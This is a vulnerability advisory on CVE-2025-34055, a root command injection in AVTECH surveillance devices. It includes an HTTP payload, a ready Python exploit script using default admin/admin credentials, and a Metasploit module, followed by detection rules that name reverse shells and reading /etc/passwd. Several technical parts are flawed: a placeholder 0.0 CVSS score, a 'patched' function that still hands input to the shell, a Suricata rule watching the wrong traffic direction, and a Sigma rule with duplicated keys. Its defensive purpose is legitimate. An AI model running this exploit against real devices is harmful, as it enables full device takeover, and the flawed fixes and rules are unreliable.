CVE-2025-34055

Executive Summary

CVE-2025-34055 is a critical OS command injection vulnerability in AVTECH DVR, NVR, and IP camera devices. The flaw resides in the adcommand.cgi endpoint, which interfaces with the ActionD daemon. An authenticated attacker can invoke the DoShellCmd operation and pass arbitrary input via the strCmd parameter. This input is executed directly by the system shell without sanitization, allowing attackers to execute commands as the root user. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for full device compromise. No official patch is available, and the vendor has not responded to disclosures.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on AVTECH surveillance devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full system access.
• Integrity (I): High (H) – Can modify system files.
• Availability (A): High (H) – Can disrupt device operation.

Threat Level: Critical. Exploitation allows root-level command execution, leading to complete device takeover, lateral movement within the network, and potential use in botnets.

Deep Dive & Mechanics

The vulnerability exists in the adcommand.cgi CGI script, which is part of the device's web interface. This script communicates with the ActionD daemon to execute system commands. The DoShellCmd operation accepts a strCmd parameter that is passed directly to a shell (e.g., /bin/sh) without any input validation or sanitization.

Root Cause: The lack of input sanitization in the adcommand.cgi endpoint. The strCmd parameter is concatenated into a shell command string and executed with root privileges.

Attack Flow:

1. Attacker authenticates to the device's web interface (default credentials often unchanged).
2. Attacker sends a POST request to /cgi-bin/adcommand.cgi with the DoShellCmd operation and a malicious strCmd parameter.
3. The ActionD daemon executes the command as root.
4. Attacker gains remote code execution (RCE) with full system control.

Example Payload:

POST /cgi-bin/adcommand.cgi HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded

operation=DoShellCmd&strCmd=id

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// adcommand.cgi
void handle_command() {
    char cmd[1024];
    char *strCmd = get_param("strCmd");
    snprintf(cmd, sizeof(cmd), "/bin/sh -c '%s'", strCmd);
    system(cmd); // No sanitization
}

Patched Code (Conceptual):

// adcommand.cgi
void handle_command() {
    char cmd[1024];
    char *strCmd = get_param("strCmd");
    // Sanitize input: allow only alphanumeric and specific safe characters
    if (!is_safe(strCmd)) {
        return_error("Invalid command");
        return;
    }
    snprintf(cmd, sizeof(cmd), "/bin/sh -c '%s'", strCmd);
    system(cmd);
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid credentials (default: admin/admin).
• Network access to the device's web interface (port 80/443).

Exploit Script (Python):

import requests

target = "http://192.168.1.100"
username = "admin"
password = "admin"

# Authenticate
session = requests.Session()
session.auth = (username, password)

# Command injection payload
payload = {
    "operation": "DoShellCmd",
    "strCmd": "id"
}

response = session.post(f"{target}/cgi-bin/adcommand.cgi", data=payload)
print(response.text)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'AVTECH adcommand.cgi Command Injection',
      'Description' => 'Exploits OS command injection in AVTECH devices',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2025-34055']],
      'Targets'     => [['Automatic', {}]],
    ))
  end

  def exploit
    send_request_cgi({
      'uri'    => '/cgi-bin/adcommand.cgi',
      'method' => 'POST',
      'vars_post' => {
        'operation' => 'DoShellCmd',
        'strCmd'    => payload.encoded
      }
    })
  end
end

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/adcommand.cgi with suspicious strCmd parameters.
2. Look for shell metacharacters (e.g., ;, |, &, `) in the strCmd parameter.
3. Alert on commands like id, whoami, cat /etc/passwd, or reverse shell attempts.

Honeypot Configuration:

• Deploy a fake AVTECH device on the network to capture exploitation attempts.
• Log all requests to /cgi-bin/adcommand.cgi for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/adcommand.cgi with operation=DoShellCmd and strCmd containing shell commands.
• Outbound connections from the device to attacker-controlled IPs (reverse shells).
• Unusual DNS queries from the device.

Host IOCs:

• Unexpected processes running as root (e.g., /bin/sh spawned by ActionD).
• Modified system binaries or scripts.
• New user accounts or SSH keys added to the device.

File IOCs:

• /tmp/*.sh – Temporary shell scripts.
• /var/log/messages – Logs showing command execution.

Detection Engineering

YARA Rule

rule CVE_2025_34055_AVTECH_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-34055 in AVTECH devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34055"
    strings:
        $cmd_inject = "DoShellCmd" nocase
        $str_cmd = "strCmd" nocase
        $shell_meta = /[;&|`$(){}]/
    condition:
        $cmd_inject and $str_cmd and #shell_meta > 0
}

Sigma Rule

title: AVTECH adcommand.cgi Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to adcommand.cgi with suspicious strCmd parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/adcommand.cgi'
        cs-uri-query|contains: 'operation=DoShellCmd'
        cs-uri-query|contains: 'strCmd='
    keywords:
        - 'strCmd='
        - 'DoShellCmd'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative commands (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-34055 AVTECH adcommand.cgi Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/adcommand.cgi";
    http_uri;
    content:"operation=DoShellCmd";
    http_client_body;
    content:"strCmd=";
    http_client_body;
    pcre:"/strCmd=[^&]*[;&|`$(){}]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-34055;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Change default credentials immediately.
3. Disable the adcommand.cgi endpoint if not required (e.g., via web server configuration).
4. Apply network segmentation to limit lateral movement.

Long-term Fix:

• No official patch available. Consider replacing affected devices with patched alternatives.
• Implement a Web Application Firewall (WAF) rule to block requests containing DoShellCmd and strCmd with shell metacharacters.

Workaround:

• Modify the device's firmware to sanitize input in adcommand.cgi (requires vendor cooperation or custom firmware).

Valters IT